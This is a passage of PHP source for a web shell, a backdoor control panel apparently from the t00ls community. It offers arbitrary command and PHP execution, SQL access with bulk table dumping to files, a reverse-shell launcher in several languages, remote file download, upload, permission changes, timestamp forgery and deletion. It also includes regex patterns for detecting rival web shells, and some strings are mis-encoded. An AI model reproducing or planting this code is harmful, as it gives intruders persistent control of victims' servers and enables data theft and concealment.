get_cfg_var("memory_limit"), 'Maximum program running time' => get_cfg_var("max_execution_time").'Second', 'Support Fsockopen' => function_exists('fsockopen') ? 'yes' : 'no', 'Support Socket' => function_exists('socket_close') ? 'yes' : 'no', 'Support Pcntl' => function_exists('pcntl_exec') ? 'yes' : 'no', 'Support Curl' => function_exists('curl_version') ? 'yes' : 'no', 'Support Zlib' => function_exists('gzclose') ? 'yes' : 'no', 'Support FTP' => function_exists('ftp_login') ? 'yes' : 'no', 'Support XML' => function_exists('xml_set_object') ? 'yes' : 'no', 'Support GD_Library' => function_exists('imageline') ? 'yes' : 'no', 'Support COM Formation' => class_exists('COM') ? 'yes' : 'no', 'Support ODBC Formation' => function_exists('odbc_close') ? 'yes' : 'no', 'Support IMAP Mail' => function_exists('imap_close') ? 'yes' : 'no', 'Is it running in safe mode' => get_cfg_var("safemode") ? 'yes' : 'no', 'Whether to allow URL to open files' => get_cfg_var("allow_url_fopen") ? 'yes' : 'no', 'Whether to allow dynamic loading of link libraries' => get_cfg_var("enable_dl") ? 'yes' : 'no', 'Whether to display error messages' => get_cfg_var("display_errors") ? 'yes' : 'no', 'Whether to automatically register global variables' => get_cfg_var("register_globals") ? 'yes' : 'no', 'Whether to use backlashes to quote strings' => get_cfg_var("magic_quotes_gpc") ? 'yes' : 'no', 'PHP Compilation parameters' => $config ? $config : '(none)'); echo '
'.$msg.'
'; echo ''; foreach($infos as $name => $var) { echo ''; } echo '
nameparameter
'.$name.''.$var.'
'; break; case "exec" : $cmd = $win ? 'dir' : 'ls -al'; $res = array('res' => 'Command Echo','msg' => $msg); $str = isset($_POST['str']) ? $_POST['str'] : 'fun'; if(isset($_POST['cmd'])) { $cmd = $_POST['cmd']; $cwd = $str == 'fun' ? THISDIR : 'com'; $res = command($cmd,$cwd); } echo '
'.$res['msg'].'
'; echo '
'; subeval(); echo ''; echo '
Order '; echo ' '; echo ' '; echo ''; echo '
'; break; case "scan" : $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir; $keyword = isset($_POST['keyword']) ? $_POST['keyword'] : ''; $include = isset($_POST['include']) ? chop($_POST['include']) : '.php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py'; $filters = isset($_POST['filters']) ? chop($_POST['filters']) : 'html|css|img|images|image|style|js'; echo '
'.$msg.'
'; echo '
'; subeval(); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo '
nameset up
Search Path
Search Content (File name or file content)
File Suffix (Is the "|" function, does it include Chinese characters?)
Filter Directory (Is the "|" function, is it without Chinese characters?)
Search Method '; echo ' '; echo '
Search Scope '; echo '
operate
'; if($keyword != '') { flush(); ob_flush(); echo '
'; $incs = $include == '' ? false : explode('|',$include); $fits = $filters == '' ? false : explode('|',$filters); $isread = scanfile(strdir($scandir.'/'),$keyword,$incs,$fits,$_POST['type'],$_POST['char'],$_POST['range'],$nowdir); echo '

'.($isread ? '

Search complete

' : '

Search failed

').'

'; } break; case "antivirus" : $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir; $typearr = isset($_POST['dir']) ? $_POST['types'] : array('php' => '.php'); echo '
'.$msg.'
'; echo '
'; subeval(); echo ''; echo ''; echo ''; echo ''; echo '
nameset up
Search path (Use Regular Matching
Killing type'; $types = array( 'php' => '.php', 'asp+aspx' => '.as|.cs|.cer', 'jsp' => '.jsp'); foreach($types as $key => $ex) { echo ' '; } echo '
operate
'; if(count($_POST['types']) > 0) { $matches = array( 'php' => array( '/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i', '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i', '/(udp\:\/\/(.*)\;)+/i', '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i', '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i', '/(eval|assert|include|require)+\s*\((.*)(base64\_decode|file\_get\_contents|php\:\/\/input)+/i', '/(eval|assert|include|require|array\_map)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i', '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+(.*)(eval|assert|include|require)+\s*\(\s*\$(\w+)\s*\)/i', '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\(\s*\$(.*)\)/i', '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\, \s*\$\_FILES\[(.*)\]\[(.*)\]\s*\)/i', '/(fopen|fwrite|fpust|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\](.*)\)/i', '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i', '/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i', '/\$(.*)\s*\((.*)\/e(.*)\, \s*\$\_(.*)\, (.*)\)/i', '/\$\_\=(.*)\$\_/i'), 'asp+aspx' => array( '/(VBScript\.Encode|WScript\.shell|Shell\.Application|Scripting\.FileSystemObject)+/i', '/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i', '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i', '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i', '/\(.*)\<\/script\>/i', '/Load\s*\((.*)Request/i', '/StreamWriter\(Server\.MapPath(.*)\.Write\(Request/i'), 'jsp' => array('/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i', '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i', '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i', '/Runtime\.getRuntime\(\)\.exec\((.*)\)/i', '/FileOutputStream\(application\.getRealPath(.*)request/i',) ); flush(); ob_flush(); echo '
'; $isread = antivirus(strdir($scandir.'/'),$typearr,$matches,$nowdir); echo '

'.($isread ? '

Scan complete

' : '

Scan failed

').'

'; } break; case "phpeval" : if(isset($_POST['phpcode'])) { $phpcode = chop($_POST['phpcode']); ob_start(); if(substr($phpcode,0,2) == '') { @eval ('?>'.$phpcode.'function runcode(objname) {var winname = window.open('',\"_blank\",'');var obj = document.getElementById(objname);winname.document.open('text/html','replace');winname.opener = null;winname.document.write(obj.value);winname.document.close();}"; echo '
'.$msg.'
'; echo '
'; subeval(); echo ''; echo '

'; echo ' '; echo '

'; echo '

'; break; case "sql" : if((!empty($_POST['sqlhost'])) && (!empty($_POST['sqluser'])) && (!empty($_POST['names']))) { $type = $_POST['type']; $sqlhost = $_POST['sqlhost']; $sqluser = $_POST['sqluser']; $sqlpass = $_POST['sqlpass']; $sqlname = $_POST['sqlname']; $sqlcode = $_POST['sqlcode']; $names = $_POST['names']; switch($type) { case "PostgreSql" : if(function_exists('pg_close')){ if(strstr($sqlhost,':')) { $array = explode(':',$sqlhost); $sqlhost = $array[0]; $sqlport = $array[1]; } else { $sqlport = 5432; } $dbconn = @pg_connect("host=$sqlhost port=$sqlport dbname=$sqlname user=$sqluser password=$sqlpass"); if($dbconn) { $msg = '

connect'.$type.' success

'; pg_query('set client_encoding='.$names); $result = pg_query($sqlcode); if($result) { $msg .= '

- implement SQL success

'; while($array = pg_fetch_array($result)) { $rows[] = $array; } } else { $msg .= '

- implement SQL fail

'; $rows = array('error' => pg_result_error($result)); } pg_free_result($result); } else { $msg = '

connect'.$type.' fail

'; } @pg_close($dbconn); } else { $msg = '

Not supported '.$type.'

'; } break; case "MsSql" : if(function_exists('mssql_close')){ $dbconn = @mssql_connect($sqlhost,$sqluser,$sqlpass); if($dbconn) {$msg = '

connect'.$type.' success

'; mssql_select_db($sqlname,$dbconn); $result = mssql_query($sqlcode); if($result) { $msg .= '

- implement SQL success

'; while ($array = mssql_fetch_array($result)) { $rows[] = $array; } } else { $msg .= '

- implement SQL fail

'; } @mssql_free_result($result); } else { $msg = '

connect'.$type.' fail

'; } @mssql_close($dbconn); } else { $msg = '

Not supported '.$type.'

'; } break; case "Oracle" : if(function_exists('oci_close')){ $conn = @oci_connect($sqluser,$sqlpass,$sqlhost.'/'.$sqlname); if($conn) { $msg = '

connect'.$type.'success

'; $stid = oci_parse($conn,$sqlcode); oci_execute($stid); if($stid) { $msg .= '

- implement SQL success

'; while (($array = oci_fetch_array($stid,OCI_ASSOC))) { $rows[] = $array; } } else { $msg .= '

- implement SQL fail

'; $e = oci_error(); $rows = array('error' => $e['message']); } oci_free_statement($stid); } else { $e = oci_error(); $rows = array('error' => $e['message']); $msg = '

connect'.$type.' fail

'; } @oci_close($conn); } else { $msg = '

Not supported '.$type.'

'; } break; case "MySql" : if(function_exists('mysql_close')){ $conn = mysql_connect(strstr($sqlhost,':') ? $sqlhost : $sqlhost.':3306',$sqluser,$sqlpass,$sqlname); if($conn) { $msg = '

connect'.$type.'success

'; if(substr($sqlcode,0,7) == 't00lsa') { $array = array(); $data = ''; $i = 0; preg_match_all('/t00lsa\s*\'(.*)\'\s*t00lsb\s*\'(.*)\'\s*t00lsc\s*\'(.*)\'\s*t00lsfile\s*\'(.*)\'/i',$sqlcode,$array); if($array[1][0] && $array[2][0] && $array[3][0] && $array[4][0]) { mysql_select_db($array[1][0],$conn); mysql_query('set names '.$names,$conn); $spidercode = 'select '.$array[3][0].' from `'.$array[2][0].'`; '; $result = mysql_query($spidercode,$conn); if($result) { while($row = mysql_fetch_array($result,MYSQL_ASSOC)) { $data .= join(' |x| ',$row)."\r\n"; $i++; } if($data) { $file = strdir($array[4][0]); $msg .= filew($file,$data,'w') ? '

- Successfully de-stocked

' : '

- Export file failed

'; $rows = array('file' => $file,size(filesize($file)) => 'Total '.$i.' Data'); } else { $msg .= '

- No data

'; } } else { $msg .= '

- implement SQL fail

'; $rows = array('errno' => mysql_errno(),'error' => mysql_error()); } }else { $msg .= '

- Error in decommissioning statement

'; } } elseif(!empty($sqlcode)) { mysql_select_db($sqlname,$conn); mysql_query('set names '.$names,$conn); $result = mysql_query($sqlcode,$conn); if($result) { $msg .= '

- implement SQL success

'; while($array = mysql_fetch_array($result,MYSQL_ASSOC)) { $rows[] = $array; } } else { $msg .= '

- implement SQL fail

'; $rows = array('errno' => mysql_errno(),'error' => mysql_error()); } } mysql_free_result($result); } else { $msg = '

connect'.$type.' fail

'; $rows = array('errno' => mysql_errno(),'error' => mysql_error()); } mysql_close($conn); } else { $msg = '

Not supported '.$type.'

'; } break; } } else { $type = 'MySql'; $sqlhost = 'localhost:3306'; $sqluser = 'root'; $sqlpass = '123456'; $sqlname = 'mysql'; $sqlcode = 'select version();'; $names = 'gbk'; } echo '
'.$msg.'
'; echo '
'; subeval(); echo ''; echo ''; echo ''; echo ''; echo ''; echo '
nameset up
Support Type'; $dbs = array('MySql','MsSql','Oracle','PostgreSql'); foreach($dbs as $dbname) { echo ' '; } echo '
connectaddress '; echo 'user '; echo 'password '; echo 'Library Name
Statements
'; echo ''; echo '
operate
'; if($rows) { echo '
';
            ob_start();
            print_r($rows);
            $out = ob_get_contents();
            ob_end_clean();
            if(preg_match('~[\x{4e00}-\x{9fa5}]+~u',$out) && function_exists('iconv')) {
                $out = @iconv('UTF-8','GB2312//IGNORE',$out);
            }
            echo htmlspecialchars($out);
            echo '
'; } break; case "backshell" : if((!empty($_POST['backip'])) && (!empty($_POST['backport']))) { $backip = $_POST['backip']; $backport = $_POST['backport']; $temp = $_POST['temp'] ? $_POST['temp'] : '/tmp'; $type = $_POST['type']; $msg = backshell($backip,$backport,$temp,$type); } else { $backip = $_SERVER['REMOTE_ADDR']; $backport = '443'; $temp = '/tmp'; $type = 'pl'; } echo '
'.$msg.'
'; echo '
'; subeval(); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo '
nameset up
Bind address (Your ip)
Bind port (nc -vvlp '.$backport.')
Temporary directory (Only Linux)
Rebound method'; $types = array('pl' => 'Perl','py' => 'Python','c' => 'C-bin','pcntl' => 'Pcntl','php' => 'PHP','phpwin' => 'PHP-WS'); foreach($types as $key => $name) { echo ' '; } echo '
operate
'; break; case "edit" : case "editor" : $file = strdir($_POST['godir'].'/'.$_POST['govar']); $iconv = function_exists('iconv'); if(!file_exists($file)) { $msg = '[Create a new file ]'; } else { $code = filer($file); $chst = 'deafult'; if(preg_match('~[\x{4e00}-\x{9fa5}]+~u',$code) && $iconv) { $chst = 'utf-8'; $code = @iconv('UTF-8','GB2312//IGNORE',$code); } $size = size(filesize($file)); $msg = '[File attributes '.substr(decoct(fileperms($file)),-4).'] [File size '.$size.'] [Fiel Encoding'.$chst.']'; } // echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg=='); echo ""; echo '
- '.$msg.'
'; echo '
'; subeval(); echo ''; echo ''; echo '
Îļþ '; if($iconv) { echo '±àÂë '; } echo '
'; echo '
'; echo '
'; subeval(); echo '
'; break; case "upfiles" : $updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir']; $msg = '[Maximum upload file '.get_cfg_var("upload_max_filesize").'] [POST maximum submission data '.get_cfg_var("post_max_size").']'; $max = 10; if(isset($_FILES['uploads']) && isset($_POST['renames'])) { $uploads = $_FILES['uploads']; $msgs = array(); for($i = 1; $i < $max; $i++) { if($uploads['error'][$i] == UPLOAD_ERR_OK) {$rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i]; $filea = $uploads['tmp_name'][$i]; $fileb = strdir($updir.'/'.$rename); $msgs[$i] = fileu($filea,$fileb) ? '

Upload success '.$rename.'

' : '

Upload failed '.$rename.'

'; } } } echo '
'.$msg.'
'; echo '
'; subeval(); echo ''; echo '

Upload to directory

'; for($i = 1; $i < $max; $i++) { echo '

File '.$i.' Rename to '.$msgs[$i].'

'; } echo '
'; echo '
'; subeval(); echo '
'; break; default : if(isset($_FILES['upfile'])) { if($_FILES['upfile']['name'] == '') { $msg = '

Please select file

'; }else { $rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename']; $filea = $_FILES['upfile']['tmp_name']; $fileb = strdir($nowdir.$rename); $msg = fileu($filea,$fileb) ? '

Uload files'.$rename.' success

' : '

Uload files'.$rename.' fail

'; } } if(isset($_POST['act'])) { switch($_POST['act']) { case "a" : if(!$_POST['files']) { $msg = '

Please select file'.$_POST['var'].'

'; } else { $i = 0; foreach($_POST['files'] as $filename) { $i += @copy(strdir($nowdir.$filename),strdir($_POST['var'].'/'.$filename)) ? 1 : 0; } $msg = $msg = $i ? '

Co-replication'.$i.' Files to'.$_POST['var'].' success

' : '

Co-replication'.$i.' Files to'.$_POST['var'].' fail

'; } break; case "b" : if(!$_POST['files']) { $msg = '

Please select file

'; } else { $i = 0; foreach($_POST['files'] as $filename) { $i += @unlink(strdir($nowdir.$filename)) ? 1 : 0; } $msg = $i ? '

Total deleted '.$i.' 个文件成功

' : '

Total deleted '.$i.' Files failed

'; } break; case "c" : if(!$_POST['files']) { $msg = '

Please select file'.$_POST['var'].'

'; } else if(!ereg("^[0-7]{4}$",$_POST['var'])) { $msg = '

Wrong attribute value

'; } else { $i = 0; foreach($_POST['files'] as $filename) { $i += @chmod(strdir($nowdir.$filename),base_convert($_POST['var'],8,10)) ? 1 : 0; } $msg = $i ? '

Common '.$i.' Modify the properties of the file to'.$_POST['var'].' success

' : '

Common '.$i.' Modify the properties of the file to '.$_POST['var'].' fail

'; } break; case "d" : if(!$_POST['files']) { $msg = '

Please select file'.$_POST['var'].'

'; } elseif(!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/',$_POST['var'])) { $msg = '

Wrong time format'.$_POST['var'].'

'; } else { $i = 0; foreach($_POST['files'] as $filename) { $i += @touch(strdir($nowdir.$filename),strtotime($_POST['var'])) ? 1 : 0; } $msg = $i ? '

Common '.$i.' File modification time is '.$_POST['var'].' success

' : '

¹² '.$i.' File modification time is'.$_POST['var'].' fail

'; } break; case "e" : $path = strdir($nowdir.$_POST['var'].'/'); if(file_exists($path)) { $msg = '

Directory already exists'.$_POST['var'].'

'; } else { $msg = @mkdir($path,0777) ? '

Create directory '.$_POST['var'].' success

' : '

Create directory '.$_POST['var'].' fail

'; } break; case "f" : $context = array('http' => array('timeout' => 30)); if(function_exists('stream_context_create')) { $stream = stream_context_create($context); } $data = @file_get_contents ($_POST['var'],false,$stream); $filename = array_pop(explode('/',$_POST['var'])); if($data) { $msg = filew(strdir($nowdir.$filename),$data,'wb') ? '

Download '.$filename.' success

' : '

Download '.$filename.' fail

'; } else { $msg = '

Download failed or download is not supported

'; } break; case "rf" : $files = explode('|x|',$_POST['var']); if(count($files) != 2) { $msg = '

Input error

'; } else { $msg = @rename(strdir($nowdir.$files[1]),strdir($nowdir.$files[0])) ? '

Rename'.$files[1].' 为'.$files[0].' success

' : '

Rename'.$files[1].' for'.$files[0].' fail

'; } break; case "pd" : $files = explode('|x|',$_POST['var']); if(count($files) != 2) { $msg = '

Input error

'; } else { $path = strdir($nowdir.$files[1]); $msg = @chmod($path,base_convert($files[0],8,10)) ? '

Revise'.$files[1].'The attributes are '.$files[0].' success

' : '

Revise'.$files[1].'The attributes are '.$files[0].' fail

'; } break; case "edit" : if(isset($_POST['filename']) && isset($_POST['filecode'])) { if($_POST['tostr'] == 'utf') { $_POST['filecode'] = @iconv('GB2312//IGNORE','UTF-8',$_POST['filecode']); } $msg = filew($_POST['filename'],$_POST['filecode'],'w') ? '

Saved successfully '.$_POST['filename'].'

' : '

Save failed'.$_POST['filename'].'

'; } break; case "deltree" : $deldir = strdir($nowdir.$_POST['var'].'/'); if(!file_exists($deldir)) { $msg = '

Table of contents'.$_POST['var'].' Does not exist

'; } else { $msg = deltree($deldir) ? '

Deleting a directory'.$_POST['var'].' success

' : '

Deleting a directory'.$_POST['var'].' fail

'; } break; } } $chmod = substr(decoct(fileperms($nowdir)),-4); if(!$chmod) { $msg .= ' -

Unable to read directory

'; } $array = showdir($nowdir); $thisurl = strdir('/'.strtr($nowdir,array(ROOTDIR => '')).'/'); $nowdir = strtr($nowdir,array('\'' => '%27','"' => '%22')); echo '
'.$msg.'
'; echo '
'; subeval(); echo (is_writable($nowdir) ? '

path

' : '

path

').' '; echo ' '; echo ' '; echo ' '; echo '
'; echo ' '; echo ' '; echo ' '; echo ' '; echo '
'; subeval(); echo ''; echo ' '; echo ' '; echo 'Rename to '; echo '
'; echo '
'; subeval(); echo ''; echo ''; echo ''; echo ''; if($array) {asort($array['dir']); asort($array['file']); $dnum = $fnum = 0; foreach($array['dir'] as $path => $name) { $prem = substr(decoct(fileperms($path)),-4); $ctime = date('Y-m-d H:i:s',filectime($path)); $mtime = date('Y-m-d H:i:s',filemtime($path)); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; $dnum++; } foreach($array['file'] as $path => $name) { $prem = substr(decoct(fileperms($path)),-4); $ctime = date('Y-m-d H:i:s',filectime($path)); $mtime = date('Y-m-d H:i:s',filemtime($path)); $size = size(filesize($path)); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; $fnum++; } } unset($array); echo '
Parent Directoryoperate permCreation timeModification timedownload
'.strtr($name,array('%27' => '\'','%22' => '"')).'delete '; echo 'Rename'.$prem.''.$ctime.''.$mtime.'-
'.strtr($name,array('%27' => '\'','%22' => '"')).'edit '; echo 'Rename'.$prem.''.$ctime.''.$mtime.''.$size.'
'; echo '
'; echo ' '; echo ' '; echo ' '; echo ' '; echo ' '; echo 'Table of contents['.$dnum.'] - document ['.$fnum.'] - permission ['.$chmod.']
'; break; } ?>
'.$_SERVER['SERVER_SOFTWARE']; ?>